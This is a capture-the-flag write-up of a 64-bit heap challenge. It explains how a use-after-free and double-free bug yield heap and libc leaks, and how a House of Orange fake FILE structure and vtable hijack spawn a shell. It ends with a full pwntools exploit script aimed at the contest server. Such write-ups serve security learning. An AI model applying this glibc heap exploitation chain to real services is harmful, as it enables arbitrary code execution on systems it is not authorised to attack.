Solved by sherl0ck
I found this challenge the best challenge in this CTF and used the House of Orange to solve it. I dunno whether there is an easier way to solve this. Anyway, the binary that was provided was 64-bit non stripped and dynamically linked one. Here are the mitigations that were imposed on the binary –
gdb-peda$ checksec
CANARY : ENABLED
FORTIFY : disabled
NX : ENABLED
PIE : ENABLED
RELRO : FULL
Well, almost every mitigation is enabled. So let’s get to pwning this binary. Reversing it first……
Reversing
It’s a typical CTF style heap challenge and has four functionalities – allocate, show, delete and exit. Let’s take a quick look at what each of these does.
The alloc
option malloc’s a chunk of size 0x50 and lets us write the same no. of bytes into it. A pointer to this chunk is stored in a global array of pointers, named ‘heap’. We can specify the index where the pointer is to be written in the heap array.
The show
function displays the contents of the chunk at an index specified by the user.
The delete
functionality takes in the index from the user and then free the chunk corresponding to that index in the heap array. The pointer to this chunk in the array is not nulled out after freeing it.
Vulnerability
There is a clear use-after-free bug in the free function. But since there is no way to edit a chunk, we’ll have to use double free to malloc arbitrary chunks. This will become clearer as you read on.
Memory Leaks
The use-after-free bug makes getting heap leaks really easy. Just free 2 chunks and view the last freed chunk. It will contain a pointer to the next chunk in its fastbin freelist which is a chunk in the heap, thus providing us with a heap leak.
We will use double free along with this heap leak to get the libc leak. Say that there are 2 fastbin chunks 1 and 2 of the same size.
free(chunk1) // After this freelist ->chunk1
free(chunk2) // freelist ->chunk2->chunk1
free(chunk1) // freelist ->chunk1->chunk2->chunk1malloc(size) // chunk1 is returned.
//We write the fd (first 8 bytes of this chunk) with the address where we want allocation.malloc(size) // chunk2 is returned
malloc(size) // chunk1 returned again
malloc(size) // a chunk at the address we wrote in first malloc is returned
Now we write ‘size’ i.e 0x61 in this challenge, just above chunk 2 and allocate a chunk (say chunk4) here with the double free that was just showed. This chunk will overlap with chunk2 and we can edit the size of chunk2. Now, all we have to do is to set this size field of chunk2 to a value that is greater than the maximum fastbin size and free chunk2 to move it to the unsorted bin. Do remember that the size field of the next chunk corresponding to the size that has overwritten the size of chunk2, should be a valid size with its prev_in_use but set to 1 as must the chunk following this. This is to ensure that free() works properly and does not return errors. Since chunk2 is an unsorted bin chunk now, it’s fd and bk pointers will contain libc address. Just view chunk2 to print these out.
Here’s a pic of the region, before the double free is used.
The Exploit
Now how can we use the use-after-free bug to get a shell? Since we can only malloc chunks of size 0x61, we can’t directly allocate a chunk above malloc_hook. But remember chunk4 that we used to edit the size field in the leaks section? Well, now that chunk2 is an unsorted bin chunk and chunk4 overlaps with chunk2, we can overwrite the fd-bk of chunk2 and do an unsorted bin attack. Just free chunk4 and malloc again to get write access to chunk4. But before freeing chunk4, make sure that the size field of the next chunk (i.e chunk4 + 0x60) contains a valid size with its prev_in_use set, to ensure proper working of free().
Okay, so we have an unsorted bin attack, but what to do with it now? House of Orange came to my mind but the size of the payload for House of Orange (HoO) is more than the size we can write. Thus we’ll have to set up the payload (basically a fake file structure) for HoO separately in different chunks. If you are not familiar with House of Orange it would be best to read it up here before proceeding further.
One thing we have to ensure is that the chain field of this fake file structure is null. If the chain field (offset = 0x68 from the start of structure) overlaps with a size field (i.e the chain field = 0x61) then we’ll have to use the double free again to null out the size.
After this, we try and allocate a chunk from the unsorted bin chunks. This will lead to an error and the abort function will be called which will, in turn, try to call _IO_overflow
, from the vtable of our fake file structure.
Imagine my surprise when the malloc call worked perfectly! It was only after some time that I realized that the size of the unsorted bin is set to 0x61 (for HoO) and the malloc is also servicing a size of 0x61. Thus the unsorted bin attack works, but the chunk is allocated back instead of moving it to smallbin[4], thus rendering our exploit useless.
At first, I was trying to somehow place this chunk into smallbin[4] and then call abort() with a double free. But after some time I gave this up and started looking around in the main_arena. In normal HoO, _IO_list_all
is overwritten with the address of unsorted bin and we set our victim chunk in smallbin[4], which is the chain pointer if file structure starts at the unsorted bin. Here is a pic of this –
So initially smallbin[4] is pointing to ‘0x00007ffff7dd1bc8’ which will be our next file structure. Here is a view of that –
The chain pointer of this is actually smallbin[9], which holds chunks of size 0xb0. Thus if we set the size of our chunk2 to 0xb1, on next malloc (which will request for size 0x61 in our binary), this chunk will be placed in smallbin[9] and abort
will get called. abort
in turn, calls _IO_flush_all_lockp
which will traverse the list till the last element and then call _IO_overflow
by looking it up in the vtable of the last entry.
This last entry will be the target chunk if we set its chain pointer to null. Thus if we set our victim chunk size to 0xb1, and malloc another chunk, abort get’s called with our victim chunk in smallbin[9]. We had already set the chain pointer to null so this will be the last entry in the list. We also set the vtable to point to an array of pointers with the fourth entry as the address of system
(or else just set all the elements of this array to point to system
). So the next time malloc is called, our chain will be set rolling and when _IO_overflow is to be called, system gets called instead, with a pointer to structure start (where we have written ‘/bin/sh’ in accordance with the normal HoO payload) and we get a shell.
Here’s a quick review of what we’ve done so far.
- Leak’s
- Get heap leak by freeing 2 chunks and viewing last freed chunk
- Create a fake chunk on top of chunk2 and get there with double free to edit size of chunk2 to a large one. Free chunk2 to put it in unsorted bin and view it for libc leak.
- Exploit
- Use the fake chunk to overwrite fd-bk of unsorted bin chunks for House of Orange attack. The rest of the payload (which does not fit within fake chunk) can be given in parts in different chunks.
- Set the size of chunk2 to 0xb1.
- malloc a chunk and get shell.
A look at the heap after setting up the payload for HoO –
And here’s the exploit script –
from pwn import * import sys HOST='178.62.40.102' PORT=6001 if len(sys.argv)>1: r=remote(HOST,PORT) else: r=process('./fifty_dollars',env={"LD_PRELOAD":"./libc.so.6"}) libc=ELF("./libc.so.6") def menu(opt,idx): r.sendlineafter("Your choice:",str(opt)) r.sendlineafter("Index:",str(idx)) def alloc(idx,data,l=True): menu(1,idx) if l: r.sendlineafter("Content:",data) else: r.sendafter("Content:",data) def show(idx): menu(2,idx) def free(idx): menu(3,idx) def getleak(): ''' Heap leaks ''' alloc(0,"A"*8*8+p64(0)+p64(0x61),l=False) alloc(1,"B"*8*9+p64(0x61),l=False) alloc(2,"C"*8+p64(0)*2+p64(0x61)+p64(0)*5+p64(0x61),l=False) alloc(3,"D"*8*9+p64(0x61),l=False) alloc(8,"D"*8) free(1) free(0) show(0) heap=u64(r.recv(6).ljust(8,'\x00'))-0x60 log.info("heap @ "+hex(heap)) ''' libc leaks ''' free(1) # double free of 1 alloc(4,p64(heap+0x50)) # change the fd to fake chunk alloc(5,"qqqqqqqq") alloc(5,"qqqqqqqq") alloc(6,p64(0)+p64(0xb1)) # fake chunk allocated. Overwrite the size of next chunk. free(4) show(1) libc.address=u64(r.recv(6).ljust(8,'\x00'))-0x3c4b78 log.info("libc @ "+hex(libc.address)) return heap def exploit(heap): ''' Create fake vtable ''' free(8) alloc(8,p64(libc.symbols['system'])*8) ''' set the vtable entry of fake filestructure to point to the vtable that was just created ''' free(3) alloc(3,p64(0)+p64(heap+0x190)) ''' send the HoO payload ''' free(6) alloc(6,("/bin/sh\x00"+ # file structure start p64(0xb1)+ # size of next chunk p64(0)+ # fd of unsortedbin chunk = 0 p64(libc.symbols['_IO_list_all']-16)+ # bk = _IO_list_all p64(0)+ # _IO_write_ptr p64(0x61)).ljust(0x50,'\x00'),l=False) # _IO_write_base ''' Null out the chain field of the fake structure ''' free(2) free(0) free(2) alloc(2,p64(heap+0x80)+p64(0)*8+p64(0),l=False) alloc(0,"qqqqqqqq",l=False) alloc(2,p64(0)+p64(0)*8+p64(0),l=False) alloc(9,p64(0)+p64(0)*8+p64(0),l=False) ''' set the chain in action ''' menu(1,0) if __name__=='__main__': heap=getleak() exploit(heap) r.interactive()
And on running the exploit –
This was a really fun challenge, although I dunno whether this is the only way to exploit this or not. Hope you enjoyed reading through.
Leave a Reply